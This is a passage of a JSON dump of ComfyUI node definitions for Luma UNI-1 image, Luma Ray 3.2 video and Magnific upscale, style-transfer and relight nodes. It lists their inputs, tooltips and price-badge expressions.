'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 9 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageNode2", "display_name": "Luma UNI-1 Image", "description": "Generate images from text using the Luma UNI-1 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": ["model.image_ref"]}, "expr": "\n (\n $m := widgets.model;\n $refs := $lookup(inputGroups, \"model.image_ref\");\n $base := $m = \"uni-1-max\" ? 0.1 : 0.0404;\n {\"type\":\"usd\",\"usd\": $round($base + 0.003 * $refs, 4)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageEditNode2": {"input": {"required": {"source": ["IMAGE", {"tooltip": "Source image to edit."}], "prompt": ["STRING", {"tooltip": "Description of the desired edit. 1\u20136000 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for editing.", "options": [{"key": "uni-1", "inputs": {"required": {"style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 8 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "uni-1-max", "inputs": {"required": {"style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 8 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["source", "prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageEditNode2", "display_name": "Luma UNI-1 Image Edit", "description": "Edit an existing image with a text prompt using the Luma UNI-1 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": ["model.image_ref"]}, "expr": "\n (\n $m := widgets.model;\n $refs := $lookup(inputGroups, \"model.image_ref\");\n $base := $m = \"uni-1-max\" ? 0.103 : 0.0434;\n {\"type\":\"usd\",\"usd\": $round($base + 0.003 * $refs, 4)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32TextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9"]}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "10s"]}], "loop": ["BOOLEAN", {"tooltip": "Make the video loop seamlessly. Only available with 5s duration.", "default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "resolution", "duration", "loop", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32TextToVideoNode", "display_name": "Luma Ray 3.2 Text to Video", "description": "Generate a video from a text prompt using Luma's Ray 3.2 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"5s\": 0.06, \"10s\": 0.18},\n \"540p\": {\"5s\": 0.15, \"10s\": 0.45},\n \"720p\": {\"5s\": 0.3, \"10s\": 0.9},\n \"1080p\": {\"5s\": 1.2, \"10s\": 3.6}\n };\n {\"type\": \"usd\", \"usd\": $lookup($lookup($p, widgets.resolution), widgets.duration)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32ImageToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "loop": ["BOOLEAN", {"tooltip": "Make the video loop seamlessly. Not available when an end_frame is set.", "default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"start_frame": ["IMAGE", {"tooltip": "First frame of the generated video."}], "end_frame": ["IMAGE", {"tooltip": "Last frame of the generated video."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "loop", "seed"], "optional": ["start_frame", "end_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32ImageToVideoNode", "display_name": "Luma Ray 3.2 Image to Video", "description": "Generate a video from a start and/or end frame using Luma's Ray 3.2 model. Image-anchored generations are always 5 seconds.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.06, \"540p\": 0.15, \"720p\": 0.3, \"1080p\": 1.2};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32KeyframeNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Guide image to place at the chosen moment of the output video."}], "position": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the output video's timeline.", "options": [{"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the output video this image applies (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}, {"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from the start of the output video where this image applies.", "default": 0.0, "min": 0.0, "max": 10.0, "step": 0.1, "display": "number"}]}}}]}]}, "optional": {"keyframes": ["LUMA_RAY32_KEYFRAME", {"tooltip": "Optional earlier keyframes to chain with this one."}]}}, "input_order": {"required": ["image", "position"], "optional": ["keyframes"]}, "is_input_list": false, "output": ["LUMA_RAY32_KEYFRAME"], "output_is_list": [false], "output_name": ["keyframes"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaRay32KeyframeNode", "display_name": "Luma Ray 3.2 Keyframe", "description": "Anchor a guide image to a position on the Ray 3.2 output video timeline. Connect this to the 'keyframes' input of the Luma Ray 3.2 Keyframes to Video node; chain several together via the optional 'keyframes' input below.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32KeyframesToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "10s"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "keyframes": ["LUMA_RAY32_KEYFRAME", {"tooltip": "Keyframe sequence from Luma Ray 3.2 Keyframe nodes (at least 2)."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "duration", "seed", "keyframes"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32KeyframesToVideoNode", "display_name": "Luma Ray 3.2 Keyframes to Video", "description": "Generate a video that interpolates through a sequence of guide images, each anchored to a position on the timeline, using Luma Ray 3.2. Build the sequence with Luma Ray 3.2 Keyframe nodes (at least 2).", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"5s\": 0.06, \"10s\": 0.18},\n \"540p\": {\"5s\": 0.15, \"10s\": 0.45},\n \"720p\": {\"5s\": 0.3, \"10s\": 0.9},\n \"1080p\": {\"5s\": 1.2, \"10s\": 3.6}\n };\n {\"type\": \"usd\", \"usd\": $lookup($lookup($p, widgets.resolution), widgets.duration)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32VideoEditNode": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Source video to edit. Up to 18 seconds."}], "prompt": ["STRING", {"tooltip": "Describes the desired edit.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "strength": ["COMBO", {"tooltip": "How strongly to preserve vs. reimagine the source. 'auto' lets Ray 3.2 choose; adhere_* preserves the most, flex_* is balanced, reimagine_* changes the most.", "default": "auto", "multiselect": false, "options": ["auto", "adhere_1", "adhere_2", "adhere_3", "flex_1", "flex_2", "flex_3", "reimagine_1", "reimagine_2", "reimagine_3"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "resolution", "strength", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32VideoEditNode", "display_name": "Luma Ray 3.2 Video Edit", "description": "Re-render an existing video under a new prompt using Luma Ray 3.2 (restyle, relight, add or remove elements) while keeping the original motion. Source video up to 18 seconds; the edited video keeps the source's length.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"min\": 0.54, \"max\": 1.08},\n \"540p\": {\"min\": 0.72, \"max\": 1.44},\n \"720p\": {\"min\": 1.08, \"max\": 2.16},\n \"1080p\": {\"min\": 2.16, \"max\": 4.32}\n };\n $r := $lookup($p, widgets.resolution);\n {\"type\": \"range_usd\", \"min_usd\": $r.min, \"max_usd\": $r.max, \"format\": {\"note\": \"(by source length)\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32VideoReframeNode": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Source video to reframe. Up to 30 seconds."}], "prompt": ["STRING", {"tooltip": "Describes how the newly exposed canvas areas should be filled.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9"]}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "aspect_ratio", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32VideoReframeNode", "display_name": "Luma Ray 3.2 Video Reframe", "description": "Change the aspect ratio of an existing video, using Luma Ray 3.2 to fill the newly exposed canvas areas. Source video up to 30 seconds. Billed per second of output.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.03, \"540p\": 0.06, \"720p\": 0.12, \"1080p\": 0.36};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution), \"format\": {\"suffix\": \"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32ExtendVideoNode": {"input": {"required": {"source_generation_id": ["STRING", {"tooltip": "generation_id of the prior Ray 3.2 video to extend. Connect the generation_id output of another Luma Ray 3.2 node.", "default": "", "multiline": false}], "direction": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Forward continues after the prior clip; backward is prepended before it.", "options": [{"key": "Forward (continue after)", "inputs": {"required": {"loop": ["BOOLEAN", {"tooltip": "Loop the extended video seamlessly (forward extend only).", "default": false}]}}}, {"key": "Backward (lead-in before)", "inputs": {"required": {}}}]}], "prompt": ["STRING", {"tooltip": "Text prompt for the new content.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["540p", "720p", "1080p"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["source_generation_id", "direction", "prompt", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32ExtendVideoNode", "display_name": "Luma Ray 3.2 Extend Video", "description": "Extend a previous Ray 3.2 generation forward (continue after it) or backward (lead-in before it). Connect the generation_id output of a prior Luma Ray 3.2 node. Extensions are always 5 seconds.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.06, \"540p\": 0.15, \"720p\": 0.3, \"1080p\": 1.2};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageUpscalerCreativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"default": "", "multiline": true}], "scale_factor": ["COMBO", {"multiselect": false, "options": ["2x", "4x", "8x", "16x"]}], "optimized_for": ["COMBO", {"multiselect": false, "options": ["standard", "soft_portraits", "hard_portraits", "art_n_illustration", "videogame_assets", "nature_n_landscapes", "films_n_photography", "3d_renders", "science_fiction_n_horror"]}], "creativity": ["INT", {"default": 0, "min": -10, "max": 10, "display": "slider"}], "hdr": ["INT", {"tooltip": "The level of definition and detail.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "resemblance": ["INT", {"tooltip": "The level of resemblance to the original image.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "fractality": ["INT", {"tooltip": "The strength of the prompt and intricacy per square pixel.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "engine": ["COMBO", {"advanced": true, "multiselect": false, "options": ["automatic", "magnific_illusio", "magnific_sharpy", "magnific_sparkle"]}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed maximum pixel limit.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "scale_factor", "optimized_for", "creativity", "hdr", "resemblance", "fractality", "engine", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageUpscalerCreativeNode", "display_name": "Magnific Image Upscale (Creative)", "description": "Prompt\u2011guided enhancement, stylization, and 2x/4x/8x/16x upscaling. Maximum output: 25.3 megapixels.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "scale_factor", "type": "COMBO"}, {"name": "auto_downscale", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ad := widgets.auto_downscale;\n $mins := $ad\n ? {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.515}\n : {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.844};\n $maxs := {\"2x\": 0.515, \"4x\": 0.844, \"8x\": 1.015, \"16x\": 1.187};\n {\n \"type\": \"range_usd\",\n \"min_usd\": $lookup($mins, widgets.scale_factor),\n \"max_usd\": $lookup($maxs, widgets.scale_factor),\n \"format\": { \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageUpscalerPreciseV2Node": {"input": {"required": {"image": ["IMAGE", {}], "scale_factor": ["COMBO", {"multiselect": false, "options": ["2x", "4x", "8x", "16x"]}], "flavor": ["COMBO", {"tooltip": "Processing style: sublime for general use, photo for photographs, photo_denoiser for noisy photos.", "multiselect": false, "options": ["sublime", "photo", "photo_denoiser"]}], "sharpen": ["INT", {"tooltip": "Image sharpness intensity. Higher values increase edge definition and clarity.", "default": 7, "min": 0, "max": 100, "display": "slider"}], "smart_grain": ["INT", {"tooltip": "Intelligent grain/texture enhancement to prevent the image from looking too smooth or artificial.", "default": 7, "min": 0, "max": 100, "display": "slider"}], "ultra_detail": ["INT", {"tooltip": "Controls fine detail, textures, and micro-details added during upscaling.", "default": 30, "min": 0, "max": 100, "display": "slider"}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed maximum resolution.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "scale_factor", "flavor", "sharpen", "smart_grain", "ultra_detail", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageUpscalerPreciseV2Node", "display_name": "Magnific Image Upscale (Precise V2)", "description": "High-fidelity upscaling with fine control over sharpness, grain, and detail. Maximum output: 10060\u00d710060 pixels.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "scale_factor", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mins := {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.844};\n $maxs := {\"2x\": 2.045, \"4x\": 2.545, \"8x\": 2.889, \"16x\": 3.06};\n {\n \"type\": \"range_usd\",\n \"min_usd\": $lookup($mins, widgets.scale_factor),\n \"max_usd\": $lookup($maxs, widgets.scale_factor),\n \"format\": { \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageStyleTransferNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to apply style transfer to."}], "reference_image": ["IMAGE", {"tooltip": "The reference image to extract style from."}], "prompt": ["STRING", {"default": "", "multiline": true}], "style_strength": ["INT", {"tooltip": "Percentage of style strength.", "default": 100, "min": 0, "max": 100, "display": "slider"}], "structure_strength": ["INT", {"tooltip": "Maintains the structure of the original image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "flavor": ["COMBO", {"tooltip": "Style transfer flavor.", "multiselect": false, "options": ["faithful", "gen_z", "psychedelia", "detaily", "clear", "donotstyle", "donotstyle_sharp"]}], "engine": ["COMBO", {"tooltip": "Processing engine selection.", "advanced": true, "multiselect": false, "options": ["balanced", "definio", "illusio", "3d_cartoon", "colorful_anime", "caricature", "real", "super_real", "softy"]}], "portrait_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Enable portrait mode for facial enhancements.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"portrait_style": ["COMBO", {"tooltip": "Visual style applied to portrait images.", "multiselect": false, "options": ["standard", "pop", "super_pop"]}], "portrait_beautifier": ["COMBO", {"tooltip": "Facial beautification intensity on portraits.", "multiselect": false, "options": ["none", "beautify_face", "beautify_face_max"]}]}}}]}], "fixed_generation": ["BOOLEAN", {"tooltip": "When disabled, expect each generation to introduce a degree of randomness, leading to more diverse outcomes.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "reference_image", "prompt", "style_strength", "structure_strength", "flavor", "engine", "portrait_mode", "fixed_generation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageStyleTransferNode", "display_name": "Magnific Image Style Transfer", "description": "Transfer the style from a reference image to your input image.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageRelightNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to relight."}], "prompt": ["STRING", {"tooltip": "Descriptive guidance for lighting. Supports emphasis notation (1-1.4).", "default": "", "multiline": true}], "light_transfer_strength": ["INT", {"tooltip": "Intensity of light transfer application.", "default": 100, "min": 0, "max": 100, "display": "slider"}], "style": ["COMBO", {"tooltip": "Stylistic output preference.", "multiselect": false, "options": ["standard", "darker_but_realistic", "clean", "smooth", "brighter", "contrasted_n_hdr", "just_composition"]}], "interpolate_from_original": ["BOOLEAN", {"tooltip": "Restricts generation freedom to match original more closely.", "advanced": true, "default": false}], "change_background": ["BOOLEAN", {"tooltip": "Modifies background based on prompt/reference.", "advanced": true, "default": true}], "preserve_details": ["BOOLEAN", {"tooltip": "Maintains texture and fine details from original.", "advanced": true, "default": true}], "advanced_settings": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Fine-tuning options for advanced lighting control.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"whites": ["INT", {"tooltip": "Adjusts the brightest tones in the image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "blacks": ["INT", {"tooltip": "Adjusts the darkest tones in the image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "brightness": ["INT", {"tooltip": "Overall brightness adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "contrast": ["INT", {"tooltip": "Contrast adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "saturation": ["INT", {"tooltip": "Color saturation adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "engine": ["COMBO", {"tooltip": "Processing engine selection.", "multiselect": false, "options": ["automatic", "balanced", "cool", "real", "illusio", "fairy", "colorful_anime", "hard_transform", "softy"]}], "transfer_light_a": ["COMBO", {"tooltip": "The intensity of light transfer.", "multiselect": false, "options": ["automatic", "low", "medium", "normal", "high", "high_on_faces"]}], "transfer_light_b": ["COMBO", {"tooltip": "Also modifies light transfer intensity. Can be combined with the previous control for varied effects.", "multiselect": false, "options": ["automatic", "composition", "straight", "smooth_in", "smooth_out", "smooth_both", "reverse_both", "soft_in", "soft_out", "soft_mid", "style_shift", "strong_shift"]}], "fixed_generation": ["BOOLEAN", {"tooltip": "Ensures consistent output with the same settings.", "default": 